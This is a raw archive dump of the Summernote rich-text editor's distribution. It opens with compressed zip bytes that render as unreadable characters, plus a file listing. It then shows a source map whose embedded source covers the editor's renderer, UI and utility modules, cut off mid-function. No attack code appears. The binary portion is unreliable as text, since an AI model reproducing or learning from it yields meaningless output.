����3��ae����R��!�'�]K���J�e��'�Q�J"�[��᳠���x��-�]{��.���;��K���+�F��%u��սqI]�Wiuo^R��jZ��K�O�{뒺�|?�,����ņ����6��P�	fhƣzklK��xe℔����&��\����O�C��տ�JY3�<k�V��"!l@��jO���n������hr�p�ý��x��fc�"�cdr���+v�'�|���;O��>�����PK��:1PK+	MLdist/lang/summernote-zh-CN.js�X[OG~ϯ؇T����C�DM�4���������;�B*$���%�� ����CJ�ՆS�z�_��욝������s�s�3�6nK�Z�P��v�]��$]�D�%�.v�f&���
ԩ�Z���%)�0�e�V�U��X3�o��j�i��T�=�t�R�O1dU��Z,9��@DU4��c:5�88$�*�	��;/�V�J���FJ*
.D��O��G�3L'�hqE7�2��4�f*�S%P4��1=N�,SNY�IA�nf�3-l�g�v#^ƛ�P2r
�,�^d\B��:jL�fMG�9`�i�m�O��zMUL���Z8�'��˗.}!8�d5@u��k��@,־�+]����ec%�W�J���Йu��zw�0���1�0�rZX�v�B=-g� f���V3;7$Z����sUdI֊N���&+,XMmp���Vp�7Ϫ�T	"��٥�!nM�wc=^�����2-��Y.�{�J<$L�a�8�#ō^�3���t��g�⟴�Uߛ�WE?2�%cr�r��d�p����V�*�؇\U��"q��+K�w�t��D���ς�Ix�x��Gt%'0	��,��C��P�b��Mfn{C�q_I ,�G��k��`�3mԹL�5�V���OH�{�:M�`f��+h�W���n�d���f�ԯ醜"r�Cꁌ��.�!��MÌ���t{�h��W�����M͓��,�!>J(�:�E�h.�5 ݆q��gUy`��Q�|y9&��
�+

�"�_��F�W�-��n-n5�X��7��sZͅ�o�1V���=��u��m9�ģ�17��	��QIf�C����h�b�{Ūװ(�U3�I*���ٴ�iZ&�
���{�N
�<���\�X0�ơ��G!�4T�)?��>�m6�Z��n���"Vi78.���_V��o�_1�G~4aسˬ�h,�=˻\��M��HJ_f�J���tY�_��WD�U�~U�_���Dz�O���}��P$TE7�f��&P�|�@�:�I'h�i�d�eUP�F*(݃!�^И��B����Gqe���� �G�3/��ֲ2�"gaC�##V�o�YM0
�'��6���5��>~%�\=���t�⳪`һ���S{&��A�o�c�����Ba���J�u��^��a����M#��1� ��>��׎�y��<1�W�h9��r|$˝���'��M�$I�:���A�AdM�(���\�Z��ud�b>;�O�� ��zQR6U�8\�+�P�iL��	?MF�t�Yu�U����o;K�Q��{1�Ȇ�h)J��CK�̟L��z�V4�d\P
Ͻ����ݐێ���oB=�"�7h��Y]��E��4;QkJ�����w���V�P)�������BpG�t��HLh��𧗅�y�ӫ����n[���8�J�������Q��9"?S��{$P�ͷ�$�7�]�'@�fޟޗ]�m�}7�b������m����cW��x��4kuyZ�ws��w ���+�Ǧ�g��'���ق�$���KP���s	���d�lW�a�	��}��u��w�����������>���E�π[�{YũN藣����zk�澽�b��wHBL`>���|���]�Y�i�{��,@�ݹ����}݃��ᛃC©��x>�߁Ґ�Q��J���9�����_]oo�w�Dd>�PK�&c���PK+	MLdist/lang/summernote-zh-TW.js�X_S�ϧ�SUĊ�<qA�r�,+Uy���ݝ8;��gF����JB!�H*W�DĐ�j@�DAE�a.=��-rN��N�F|pg����>s�t�W
ܢo3��X?��G�;N��k�;��*�.��q�t�RO�q����e�l�JH��~�FH�9�YbD�V�'��0��پ��EЄ͵nM�Z�;�KA)^-G{?i��CM����xu3� �4u���
�7�7�'w4�kV����ux>��P��YP�����p�S/(xEn����~#l�j���F��^�Q�����u#��4v�,�c��E	�֌��47��Q��~����z��|�8������o�s�'>��c͈��NI��w��L�Su�99�+9���i	�|_�>��e͟�L$�1K���|���^j�/n� ^Ŭ�	����$�<���D�����G͝�
���֋��Ղk���l3ZƸ��ӵ%^��74����~�Qʥӝ9�i�F3��� ��l��A�8�I
8�g"��0N���4�uh�?�Y���P��^��{�h�pA|��a��7v5��I�qas����P�,�ku|���q�s&K��_̊�W���j�����<�^<?�5%�Uv�=|
��V���h�B򘫍��E�^����kC*�m�
�H*�/�����O��d7R��M�3t����dz{d�|�����L����9@�d�h�5ߟ�t5XcV����js��M�BLNO-�2�k���>�����c�,�xm��|[+Z�TH;V��9��l�������N��f�x%n6�r��f+3�"�n݂V��6-k�MT
Y�l����C��:r)���ݨa�$�
AE�U�8кr��Yi8�ϊ��k��@}�W��-x˴�Y7`J�!5 ��˕
Tc�,w�/wq>��ϟ�n"0��/�S��;ܯ�o������0��c,G�[b�.64LM����{у���r�0�⍛�ƫ���'u��L~J����u�`&��g2��\`��t�`.�P�r��g���p��m�b�"Z]O�1g5,�.��`|��'b�f���	����m��=/��Pd�jSYK����D8���	��58�d�фF������/�#���P��-}jB'�������j|�����E��c���rzY=�x�]�.�8$��8C�tʶ�):F�֊�׈7���ϴ]W�L���bS??��2��\<H����>�X%`u�b~�[�s� ��q\_
��������/*C9��nmiT���LKf�H��;�Nj���U�� �H�2N��'��^��\�]t��%����yM�c�<�U�m�5rgjS^	�zc��͚f��w�fd��X�T!t��M�78��`�(n����v�E��o��zSB�YC�ȋi���Ā
�f���s7\\ b.�/��_��1=�C�j���M:��N������(tx�@�&�K�A[^��0I}b���m[g��R�R�y����)�vDyt��'ct��,u�S�I�psa�E'��c75��������K�ò��P�U��S:���^(ވR$��<P�ͥt&�ô@�+�J:�����x�$�a%�#�I�1ڿ��2a.)�
��S�l������hbPӘ�H��m�v\�)���=Q����u��]$p����+�艣����	�����H�����O)����	#����BR�#r��R�4
�k�ә�v��?Q�-�x�M����,�F�$��q���7O�e�a�f��!P��G�ֺf���M#��b�F��ȵ�!�%6&/�'ãCC�S�&&5/ꮋK��^2�,�"��w�������>�����3�PK�
s`�PK-ETLc��Y��
 ��dist/summernote-bs4.jsPK-STLCE�t�[� ����dist/summernote-bs4.min.jsPK-FTL�l�|
nT ��ѐdist/summernote-lite.jsPK-DTL5�ި�J	 ����dist/summernote.jsPK-STLOƔ��U� ��؜dist/summernote.min.jsPK-TTL�~�FE ���.dist/summernote-bs4.cssPK-TTLR^s�#k ��:>dist/summernote-lite.cssPK-TTL�P�W=ME ��Vdist/summernote.cssPK-�ML��D��z# ���edist/font/summernote.eotPK-�MLSԫA��" ���|dist/font/summernote.ttfPK-�ML�`Ƽ7=L= ����dist/font/summernote.woffPK-+	ML=��e�
) 1 ��dist/plugin/databasic/summernote-ext-databasic.jsPK-+	ML�֙��	) ���dist/plugin/hello/summernote-ext-hello.jsPK-+	ML�.G���(7 ����dist/plugin/specialchars/summernote-ext-specialchars.jsPK-+	MLme���2 큗�dist/plugin/databasic/summernote-ext-databasic.cssPK-+	ML�hy�j ����dist/lang/summernote-ar-AR.jsPK-+	ML��E/m� ����dist/lang/summernote-bg-BG.jsPK-+	MLnQ��Qj ��Y�dist/lang/summernote-ca-ES.jsPK-+	ML)�z� ���dist/lang/summernote-cs-CZ.jsPK-+	MLD��{ ��Ydist/lang/summernote-da-DK.jsPK-@TL�A{�B� ���dist/lang/summernote-de-DE.jsPK-+	ML�l�	� ��8dist/lang/summernote-el-GR.jsPK-+	ML\R��U� ���&dist/lang/summernote-es-ES.jsPK-+	ML������ ��>.dist/lang/summernote-es-EU.jsPK-+	ML�jM� ��x5dist/lang/summernote-fa-IR.jsPK-+	ML^#��F ���=dist/lang/summernote-fi-FI.jsPK-+	ML؅p��^ �� Edist/lang/summernote-fr-FR.jsPK-+	ML���I58 ��Mdist/lang/summernote-gl-ES.jsPK-+	ML�e	�P� ���Tdist/lang/summernote-he-IL.jsPK-+	ML�[�Y ��"\dist/lang/summernote-hr-HR.jsPK-+	ML��y�rh ��{cdist/lang/summernote-hu-HU.jsPK-+	ML^�>�� ��8kdist/lang/summernote-id-ID.jsPK-+	ML"�ɬ6 ��Lrdist/lang/summernote-it-IT.jsPK-+	ML����� ���ydist/lang/summernote-ja-JP.jsPK-+	ML|��F�	 ���dist/lang/summernote-ko-KR.jsPK-+	ML*�Cv�� ����dist/lang/summernote-lt-LT.jsPK-+	ML�N�S ����dist/lang/summernote-lt-LV.jsPK-+	ML�L��I ��ݙdist/lang/summernote-mn-MN.jsPK-+	MLw
�? ����dist/lang/summernote-nb-NO.jsPK-+	MLe��� ���dist/lang/summernote-nl-NL.jsPK-@TLA��cQ ��%�dist/lang/summernote-pl-PL.jsPK-+	ML�$� ����dist/lang/summernote-pt-BR.jsPK-+	ML�#t=� ��0�dist/lang/summernote-pt-PT.jsPK-+	MLE�w�O� ����dist/lang/summernote-ro-RO.jsPK-+	ML�*�uH	� ��#�dist/lang/summernote-ru-RU.jsPK-+	ML�v��Z� ����dist/lang/summernote-sk-SK.jsPK-+	ML�պ�� ��[�dist/lang/summernote-sl-SI.jsPK-+	ML��c# ����dist/lang/summernote-sr-RS-Latin.jsPK-+	ML~jP; ��4�dist/lang/summernote-sr-RS.jsPK-+	ML6�ERy ���dist/lang/summernote-sv-SE.jsPK-+	MLXq�d�
 ���dist/lang/summernote-ta-IN.jsPK-+	ML�Wq�� ���dist/lang/summernote-th-TH.jsPK-+	MLT�E}h� ��
dist/lang/summernote-tr-TR.jsPK-+	ML��X
�� ���dist/lang/summernote-uk-UA.jsPK-@TLP��U6 ���!dist/lang/summernote-uz-UZ.jsPK-+	ML��:1 ��V(dist/lang/summernote-vi-VN.jsPK-+	ML�&c��� ���/dist/lang/summernote-zh-CN.jsPK-+	ML�
s`� ��7dist/lang/summernote-zh-TW.jsPK::�>summernote.js.map000064400001547550151677331550010112 0ustar00{"version":3,"file":"summernote.js","sources":["../src/js/base/renderer.js","../src/js/bs3/ui.js","../src/js/base/core/func.js","../src/js/base/core/lists.js","../src/js/base/core/env.js","../src/js/base/core/dom.js","../src/js/base/summernote-en-US.js","../src/js/base/core/key.js","../src/js/base/core/range.js","../src/js/base/core/async.js","../src/js/base/editing/History.js","../src/js/base/editing/Style.js","../src/js/base/editing/Bullet.js","../src/js/base/editing/Typing.js","../src/js/base/editing/Table.js","../src/js/base/module/Editor.js","../src/js/base/module/Clipboard.js","../src/js/base/module/Dropzone.js","../src/js/base/module/Codeview.js","../src/js/base/module/Statusbar.js","../src/js/base/module/Fullscreen.js","../src/js/base/module/Handle.js","../src/js/base/module/AutoLink.js","../src/js/base/module/AutoSync.js","../src/js/base/module/Placeholder.js","../src/js/base/module/Buttons.js","../src/js/base/module/Toolbar.js","../src/js/base/module/LinkDialog.js","../src/js/base/module/LinkPopover.js","../src/js/base/module/ImageDialog.js","../src/js/base/module/ImagePopover.js","../src/js/base/module/TablePopover.js","../src/js/base/module/VideoDialog.js","../src/js/base/module/HelpDialog.js","../src/js/base/module/AirPopover.js","../src/js/base/module/HintPopover.js","../src/js/base/Context.js","../src/js/summernote.js","../src/js/bs3/settings.js"],"sourcesContent":["import $ from 'jquery';\n\nclass Renderer {\n  constructor(markup, children, options, callback) {\n    this.markup = markup;\n    this.children = children;\n    this.options = options;\n    this.callback = callback;\n  }\n\n  render($parent) {\n    const $node = $(this.markup);\n\n    if (this.options && this.options.contents) {\n      $node.html(this.options.contents);\n    }\n\n    if (this.options && this.options.className) {\n      $node.addClass(this.options.className);\n    }\n\n    if (this.options && this.options.data) {\n      $.each(this.options.data, (k, v) => {\n        $node.attr('data-' + k, v);\n      });\n    }\n\n    if (this.options && this.options.click) {\n      $node.on('click', this.options.click);\n    }\n\n    if (this.children) {\n      const $container = $node.find('.note-children-container');\n      this.children.forEach((child) => {\n        child.render($container.length ? $container : $node);\n      });\n    }\n\n    if (this.callback) {\n      this.callback($node, this.options);\n    }\n\n    if (this.options && this.options.callback) {\n      this.options.callback($node);\n    }\n\n    if ($parent) {\n      $parent.append($node);\n    }\n\n    return $node;\n  }\n}\n\nexport default {\n  create: (markup, callback) => {\n    return () => {\n      const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];\n      let children = $.isArray(arguments[0]) ? arguments[0] : [];\n      if (options && options.children) {\n        children = options.children;\n      }\n      return new Renderer(markup, children, options, callback);\n    };\n  }\n};\n","import $ from 'jquery';\nimport renderer from '../base/renderer';\n\nconst editor = renderer.create('<div class=\"note-editor note-frame panel\"/>');\nconst toolbar = renderer.create('<div class=\"note-toolbar-wrapper panel-default\"><div class=\"note-toolbar panel-heading\" role=\"toolbar\"></div></div>');\nconst editingArea = renderer.create('<div class=\"note-editing-area\"/>');\nconst codable = renderer.create('<textarea class=\"note-codable\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst editable = renderer.create('<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>');\nconst statusbar = renderer.create([\n  '<output class=\"note-status-output\" aria-live=\"polite\"/>',\n  '<div class=\"note-statusbar\" role=\"status\">',\n  '  <div class=\"note-resizebar\" role=\"seperator\" aria-orientation=\"horizontal\" aria-label=\"Resize\">',\n  '    <div class=\"note-icon-bar\"/>',\n  '    <div class=\"note-icon-bar\"/>',\n  '    <div class=\"note-icon-bar\"/>',\n  '  </div>',\n  '</div>'\n].join(''));\n\nconst airEditor = renderer.create('<div class=\"note-editor\"/>');\nconst airEditable = renderer.create([\n  '  <output class=\"note-status-output\" aria-live=\"polite\"/>',\n  '<div class=\"note-editable\" contentEditable=\"true\" role=\"textbox\" aria-multiline=\"true\"/>'\n].join(''));\n\nconst buttonGroup = renderer.create('<div class=\"note-btn-group btn-group\">');\n\nconst dropdown = renderer.create('<ul class=\"dropdown-menu\" role=\"list\">', function($node, options) {\n  const markup = $.isArray(options.items) ? options.items.map(function(item) {\n    const value = (typeof item === 'string') ? item : (item.value || '');\n    const content = options.template ? options.template(item) : item;\n    const option = (typeof item === 'object') ? item.option : undefined;\n\n    const dataValue = 'data-value=\"' + value + '\"';\n    const dataOption = (option !== undefined) ? ' data-option=\"' + option + '\"' : '';\n    return '<li role=\"listitem\" aria-label=\"' + item + '\"><a href=\"#\" ' + (dataValue + dataOption) + '>' + content + '</a></li>';\n  }).join('') : options.items;\n\n  $node.html(markup).attr({'aria-label': options.title});\n});\n\nconst dropdownButtonContents = function(contents, options) {\n  return contents + ' ' + icon(options.icons.caret, 'span');\n};\n\nconst dropdownCheck = renderer.create('<ul class=\"dropdown-menu note-check\" role=\"list\">', function($node, options) {\n  const markup = $.isArray(options.items) ? options.items.map(function(item) {\n    const value = (typeof item === 'string') ? item : (item.value || '');\n    const content = options.template ? options.template(item) : item;\n    return '<li role=\"listitem\" aria-label=\"' + item + '\"><a href=\"#\" data-value=\"' + value + '\">' + icon(options.checkClassName) + ' ' + content + '</a></li>';\n  }).join('') : options.items;\n  $node.html(markup).attr({'aria-label': options.title});\n});\n\nconst palette = renderer.create('<div class=\"note-color-palette\"/>', function($node, options) {\n  const contents = [];\n  for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {\n    const eventName = options.eventName;\n    const colors = options.colors[row];\n    const colorsName = options.colorsName[row];\n    const buttons = [];\n    for (let col = 0, colSize = colors.length; col < colSize; col++) {\n      const color = colors[col];\n      const colorName = colorsName[col];\n      buttons.push([\n        '<button type=\"button\" class=\"note-color-btn\"',\n        'style=\"background-color:', color, '\" ',\n        'data-event=\"', eventName, '\" ',\n        'data-value=\"', color, '\" ',\n        'title=\"', colorName, '\" ',\n        'aria-label=\"', colorName, '\" ',\n        'data-toggle=\"button\" tabindex=\"-1\"></button>'\n      ].join(''));\n    }\n    contents.push('<div class=\"note-color-row\">' + buttons.join('') + '</div>');\n  }\n  $node.html(contents.join(''));\n\n  if (options.tooltip) {\n    $node.find('.note-color-btn').tooltip({\n      container: options.container,\n      trigger: 'hover',\n      placement: 'bottom'\n    });\n  }\n});\n\nconst dialog = renderer.create('<div class=\"modal\" aria-hidden=\"false\" tabindex=\"-1\" role=\"dialog\"/>', function($node, options) {\n  if (options.fade) {\n    $node.addClass('fade');\n  }\n  $node.attr({\n    'aria-label': options.title\n  });\n  $node.html([\n    '<div class=\"modal-dialog\">',\n    '  <div class=\"modal-content\">',\n    (options.title\n      ? '    <div class=\"modal-header\">' +\n    '      <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\" aria-hidden=\"true\">&times;</button>' +\n    '      <h4 class=\"modal-title\">' + options.title + '</h4>' +\n    '    </div>' : ''\n    ),\n    '    <div class=\"modal-body\">' + options.body + '</div>',\n    (options.footer\n      ? '    <div class=\"modal-footer\">' + options.footer + '</div>' : ''\n    ),\n    '  </div>',\n    '</div>'\n  ].join(''));\n});\n\nconst popover = renderer.create([\n  '<div class=\"note-popover popover in\">',\n  '  <div class=\"arrow\"/>',\n  '  <div class=\"popover-content note-children-container\"/>',\n  '</div>'\n].join(''), function($node, options) {\n  const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';\n\n  $node.addClass(direction);\n\n  if (options.hideArrow) {\n    $node.find('.arrow').hide();\n  }\n});\n\nconst checkbox = renderer.create('<div class=\"checkbox\"></div>', function($node, options) {\n  $node.html([\n    ' <label' + (options.id ? ' for=\"' + options.id + '\"' : '') + '>',\n    ' <input role=\"checkbox\" type=\"checkbox\"' + (options.id ? ' id=\"' + options.id + '\"' : ''),\n    (options.checked ? ' checked' : ''),\n    ' aria-checked=\"' + (options.checked ? 'true' : 'false') + '\"/>',\n    (options.text ? options.text : ''),\n    '</label>'\n  ].join(''));\n});\n\nconst icon = function(iconClassName, tagName) {\n  tagName = tagName || 'i';\n  return '<' + tagName + ' class=\"' + iconClassName + '\"/>';\n};\nconst ui = {\n  editor: editor,\n  toolbar: toolbar,\n  editingArea: editingArea,\n  codable: codable,\n  editable: editable,\n  statusbar: statusbar,\n  airEditor: airEditor,\n  airEditable: airEditable,\n  buttonGroup: buttonGroup,\n  dropdown: dropdown,\n  dropdownButtonContents: dropdownButtonContents,\n  dropdownCheck: dropdownCheck,\n  palette: palette,\n  dialog: dialog,\n  popover: popover,\n  checkbox: checkbox,\n  icon: icon,\n  options: {},\n\n  button: function($node, options) {\n    return renderer.create('<button type=\"button\" class=\"note-btn btn btn-default btn-sm\" role=\"button\" tabindex=\"-1\">', function($node, options) {\n      if (options && options.tooltip) {\n        $node.attr({\n          title: options.tooltip,\n          'aria-label': options.tooltip\n        }).tooltip({\n          container: options.container,\n          trigger: 'hover',\n          placement: 'bottom'\n        });\n      }\n    })($node, options);\n  },\n\n  toggleBtn: function($btn, isEnable) {\n    $btn.toggleClass('disabled', !isEnable);\n    $btn.attr('disabled', !isEnable);\n  },\n\n  toggleBtnActive: function($btn, isActive) {\n    $btn.toggleClass('active', isActive);\n  },\n\n  onDialogShown: function($dialog, handler) {\n    $dialog.one('shown.bs.modal', handler);\n  },\n\n  onDialogHidden: function($dialog, handler) {\n    $dialog.one('hidden.bs.modal', handler);\n  },\n\n  showDialog: function($dialog) {\n    $dialog.modal('show');\n  },\n\n  hideDialog: function($dialog) {\n    $dialog.modal('hide');\n  },\n\n  createLayout: function($note, options) {\n    const $editor = (options.airMode ? ui.airEditor([\n      ui.editingArea([\n        ui.airEditable()\n      ])\n    ]) : ui.editor([\n      ui.toolbar(),\n      ui.editingArea([\n        ui.codable(),\n        ui.editable()\n      ]),\n      ui.statusbar()\n    ])).render();\n\n    $editor.insertAfter($note);\n\n    return {\n      note: $note,\n      editor: $editor,\n      toolbar: $editor.find('.note-toolbar'),\n      editingArea: $editor.find('.note-editing-area'),\n      editable: $editor.find('.note-editable'),\n      codable: $editor.find('.note-codable'),\n      statusbar: $editor.find('.note-statusbar')\n    };\n  },\n\n  removeLayout: function($note, layoutInfo) {\n    $note.html(layoutInfo.editable.html());\n    layoutInfo.editor.remove();\n    $note.show();\n  }\n};\n\nexport default ui;\n","/**\n * @class core.func\n *\n * func utils (for high-order func's arg)\n *\n * @singleton\n * @alternateClassName func\n */\nfunction eq(itemA) {\n  return function(itemB) {\n    return itemA === itemB;\n  };\n}\n\nfunction eq2(itemA, itemB) {\n  return itemA === itemB;\n}\n\nfunction peq2(propName) {\n  return function(itemA, itemB) {\n    return itemA[propName] === itemB[propName];\n  };\n}\n\nfunction ok() {\n  return true;\n}\n\nfunction fail() {\n  return false;\n}\n\nfunction not(f) {\n  return () => {\n    return !f.apply(f, arguments);\n  };\n}\n\nfunction and(fA, fB) {\n  return function(item) {\n    return fA(item) && fB(item);\n  };\n}\n\nfunction self(a) {\n  return a;\n}\n\nfunction invoke(obj, method) {\n  return () => {\n    return obj[method].apply(obj, arguments);\n  };\n}\n\nlet idCounter = 0;\n\n/**\n * generate a globally-unique id\n *\n * @param {String} [prefix]\n */\nfunction uniqueId(prefix) {\n  const id = ++idCounter + '';\n  return prefix ? prefix + id : id;\n}\n\n/**\n * returns bnd (bounds) from rect\n *\n * - IE Compatibility Issue: http://goo.gl/sRLOAo\n * - Scroll Issue: http://goo.gl/sNjUc\n *\n * @param {Rect} rect\n * @return {Object} bounds\n * @return {Number} bounds.top\n * @return {Number} bounds.left\n * @return {Number} bounds.width\n * @return {Number} bounds.height\n */\nfunction rect2bnd(rect) {\n  const $document = $(document);\n  return {\n    top: rect.top + $document.scrollTop(),\n    left: rect.left + $document.scrollLeft(),\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top\n  };\n}\n\n/**\n * returns a copy of the object where the keys have become the values and the values the keys.\n * @param {Object} obj\n * @return {Object}\n */\nfunction invertObject(obj) {\n  const inverted = {};\n  for (const key in obj) {\n    if (obj.hasOwnProperty(key)) {\n      inverted[obj[key]] = key;\n    }\n  }\n  return inverted;\n}\n\n/**\n * @param {String} namespace\n * @param {String} [prefix]\n * @return {String}\n */\nfunction namespaceToCamel(namespace, prefix) {\n  prefix = prefix || '';\n  return prefix + namespace.split('.').map(function(name) {\n    return name.substring(0, 1).toUpperCase() + name.substring(1);\n  }).join('');\n}\n\n/**\n * Returns a function, that, as long as it continues to be invoked, will not\n * be triggered. The function will be called after it stops being called for\n * N milliseconds. If `immediate` is passed, trigger the function on the\n * leading edge, instead of the trailing.\n * @param {Function} func\n * @param {Number} wait\n * @param {Boolean} immediate\n * @return {Function}\n */\nfunction debounce(func, wait, immediate) {\n  let timeout;\n  return () => {\n    const context = this;\n    const args = arguments;\n    const later = () => {\n      timeout = null;\n      if (!immediate) {\n        func.apply(context, args);\n      }\n    };\n    const callNow = immediate && !timeout;\n    clearTimeout(timeout);\n    timeout = setTimeout(later, wait);\n    if (callNow) {\n      func.apply(context, args);\n    }\n  };\n}\n\nexport default {\n  eq,\n  eq2,\n  peq2,\n  ok,\n  fail,\n  self,\n  not,\n  and,\n  invoke,\n  uniqueId,\n  rect2bnd,\n  invertObject,\n  namespaceToCamel,\n  debounce\n};\n","import $ from 'jquery';\nimport func from './func';\n\n/**\n * returns the first item of an array.\n *\n * @param {Array} array\n */\nfunction head(array) {\n  return array[0];\n}\n\n/**\n * returns the last item of an array.\n *\n * @param {Array} array\n */\nfunction last(array) {\n  return array[array.length - 1];\n}\n\n/**\n * returns everything but the last entry of the array.\n *\n * @param {Array} array\n */\nfunction initial(array) {\n  return array.slice(0, array.length - 1);\n}\n\n/**\n * returns the rest of the items in an array.\n *\n * @param {Array} array\n */\nfunction tail(array) {\n  return array.slice(1);\n}\n\n/**\n * returns item of array\n */\nfunction find(array, pred) {\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    const item = array[idx];\n    if (pred(item)) {\n      return item;\n    }\n  }\n}\n\n/**\n * returns true if all of the values in the array pass the predicate truth test.\n */\nfunction all(array, pred) {\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (!pred(array[idx])) {\n      return false;\n    }\n  }\n  return true;\n}\n\n/**\n * returns index of item\n */\nfunction indexOf(array, item) {\n  return $.inArray(item, array);\n}\n\n/**\n * returns true if the value is present in the list.\n */\nfunction contains(array, item) {\n  return indexOf(array, item) !== -1;\n}\n\n/**\n * get sum from a list\n *\n * @param {Array} array - array\n * @param {Function} fn - iterator\n */\nfunction sum(array, fn) {\n  fn = fn || func.self;\n  return array.reduce(function(memo, v) {\n    return memo + fn(v);\n  }, 0);\n}\n\n/**\n * returns a copy of the collection with array type.\n * @param {Collection} collection - collection eg) node.childNodes, ...\n */\nfunction from(collection) {\n  const result = [];\n  const length = collection.length;\n  let idx = -1;\n  while (++idx < length) {\n    result[idx] = collection[idx];\n  }\n  return result;\n}\n\n/**\n * returns whether list is empty or not\n */\nfunction isEmpty(array) {\n  return !array || !array.length;\n}\n\n/**\n * cluster elements by predicate function.\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n * @param {Array[]}\n */\nfunction clusterBy(array, fn) {\n  if (!array.length) { return []; }\n  const aTail = tail(array);\n  return aTail.reduce(function(memo, v) {\n    const aLast = last(memo);\n    if (fn(last(aLast), v)) {\n      aLast[aLast.length] = v;\n    } else {\n      memo[memo.length] = [v];\n    }\n    return memo;\n  }, [[head(array)]]);\n}\n\n/**\n * returns a copy of the array with all false values removed\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n */\nfunction compact(array) {\n  const aResult = [];\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (array[idx]) { aResult.push(array[idx]); }\n  }\n  return aResult;\n}\n\n/**\n * produces a duplicate-free version of the array\n *\n * @param {Array} array\n */\nfunction unique(array) {\n  const results = [];\n\n  for (let idx = 0, len = array.length; idx < len; idx++) {\n    if (!contains(results, array[idx])) {\n      results.push(array[idx]);\n    }\n  }\n\n  return results;\n}\n\n/**\n * returns next item.\n * @param {Array} array\n */\nfunction next(array, item) {\n  const idx = indexOf(array, item);\n  if (idx === -1) { return null; }\n\n  return array[idx + 1];\n}\n\n/**\n * returns prev item.\n * @param {Array} array\n */\nfunction prev(array, item) {\n  const idx = indexOf(array, item);\n  if (idx === -1) { return null; }\n\n  return array[idx - 1];\n}\n\n/**\n * @class core.list\n *\n * list utils\n *\n * @singleton\n * @alternateClassName list\n */\nexport default {\n  head,\n  last,\n  initial,\n  tail,\n  prev,\n  next,\n  find,\n  contains,\n  all,\n  sum,\n  from,\n  isEmpty,\n  clusterBy,\n  compact,\n  unique\n};\n","import $ from 'jquery';\nconst isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line\n\n/**\n * returns whether font is installed or not.\n *\n * @param {String} fontName\n * @return {Boolean}\n */\nfunction isFontInstalled(fontName) {\n  const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';\n  const $tester = $('<div>').css({\n    position: 'absolute',\n    left: '-9999px',\n    top: '-9999px',\n    fontSize: '200px'\n  }).text('mmmmmmmmmwwwwwww').appendTo(document.body);\n\n  const originalWidth = $tester.css('fontFamily', testFontName).width();\n  const width = $tester.css('fontFamily', fontName + ',' + testFontName).width();\n\n  $tester.remove();\n\n  return originalWidth !== width;\n}\n\nconst userAgent = navigator.userAgent;\nconst isMSIE = /MSIE|Trident/i.test(userAgent);\nlet browserVersion;\nif (isMSIE) {\n  let matches = /MSIE (\\d+[.]\\d+)/.exec(userAgent);\n  if (matches) {\n    browserVersion = parseFloat(matches[1]);\n  }\n  matches = /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);\n  if (matches) {\n    browserVersion = parseFloat(matches[1]);\n  }\n}\n\nconst isEdge = /Edge\\/\\d+/.test(userAgent);\n\nlet hasCodeMirror = !!window.CodeMirror;\nif (!hasCodeMirror && isSupportAmd) {\n  // Webpack\n  if (typeof __webpack_require__ === 'function') { // eslint-disable-line\n    try {\n      // If CodeMirror can't be resolved, `require.resolve` will throw an\n      // exception and `hasCodeMirror` won't be set to `true`.\n      require.resolve('codemirror');\n      hasCodeMirror = true;\n    } catch (e) {\n      // do nothing\n    }\n  } else if (typeof require !== 'undefined') {\n    // Browserify\n    if (typeof require.resolve !== 'undefined') {\n      try {\n        // If CodeMirror can't be resolved, `require.resolve` will throw an\n        // exception and `hasCodeMirror` won't be set to `true`.\n        require.resolve('codemirror');\n        hasCodeMirror = true;\n      } catch (e) {\n        // do nothing\n      }\n    // Almond/Require\n    } else if (typeof require.specified !== 'undefined') {\n      hasCodeMirror = require.specified('codemirror');\n    }\n  }\n}\n\nconst isSupportTouch =\n  (('ontouchstart' in window) ||\n   (navigator.MaxTouchPoints > 0) ||\n   (navigator.msMaxTouchPoints > 0));\n\n// [workaround] IE doesn't have input events for contentEditable\n// - see: https://goo.gl/4bfIvA\nconst inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';\n\n/**\n * @class core.env\n *\n * Object which check platform and agent\n *\n * @singleton\n * @alternateClassName env\n */\nexport default {\n  isMac: navigator.appVersion.indexOf('Mac') > -1,\n  isMSIE,\n  isEdge,\n  isFF: !isEdge && /firefox/i.test(userAgent),\n  isPhantom: /PhantomJS/i.test(userAgent),\n  isWebkit: !isEdge && /webkit/i.test(userAgent),\n  isChrome: !isEdge && /chrome/i.test(userAgent),\n  isSafari: !isEdge && /safari/i.test(userAgent),\n  browserVersion,\n  jqueryVersion: parseFloat($.fn.jquery),\n  isSupportAmd,\n  isSupportTouch,\n  hasCodeMirror,\n  isFontInstalled,\n  isW3CRangeSupport: !!document.createRange,\n  inputEventName\n};\n","import $ from 'jquery';\nimport func from './func';\nimport lists from './lists';\nimport env from './env';\n\nconst NBSP_CHAR = String.fromCharCode(160);\nconst ZERO_WIDTH_NBSP_CHAR = '\\ufeff';\n\n/**\n * @method isEditable\n *\n * returns whether node is `note-editable` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEditable(node) {\n  return node && $(node).hasClass('note-editable');\n}\n\n/**\n * @method isControlSizing\n *\n * returns whether node is `note-control-sizing` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isControlSizing(node) {\n  return node && $(node).hasClass('note-control-sizing');\n}\n\n/**\n * @method makePredByNodeName\n *\n * returns predicate which judge whether nodeName is same\n *\n * @param {String} nodeName\n * @return {Function}\n */\nfunction makePredByNodeName(nodeName) {\n  nodeName = nodeName.toUpperCase();\n  return 